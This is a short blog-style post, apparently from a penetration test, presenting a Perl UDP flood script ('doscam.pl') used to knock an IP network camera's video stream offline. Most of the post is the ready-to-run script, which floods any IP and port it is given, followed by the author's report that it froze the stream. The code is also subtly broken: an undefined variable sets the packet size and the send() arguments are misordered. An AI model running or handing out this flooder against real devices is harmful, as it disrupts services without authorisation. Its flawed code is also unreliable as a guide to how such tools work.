So on a test I wanted to test the possibility of performing a DoS against an IP based network camera to see of the possibility of disrupting it’s video stream. Well the idea was to hammer the device with UDP packets.

A quick look around and I found this code here. I decided to take a copy of the code as the base for a quick perl script.

A quick munge and this is what I ended with:

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#!/usr/bin/perl
use Socket;
$ARGC=@ARGV;
if ($ARGC !=2) {
 printf "doscam.pl by phillips321.co.uk\n";
 printf "$0 <ip> <port>\n";
 exit(1);
}
my ($ip,$port,$size);
$ip=$ARGV[0];
$port=$ARGV[1];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf "Flooding UDP port " . $port . " on " . $ip . "\n";
printf "end with Ctrl-C\n";
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

Running one thread of this managed to slow the rate at which the stream was been sent, a second thread caused the video stream to lockup entirely. Result!

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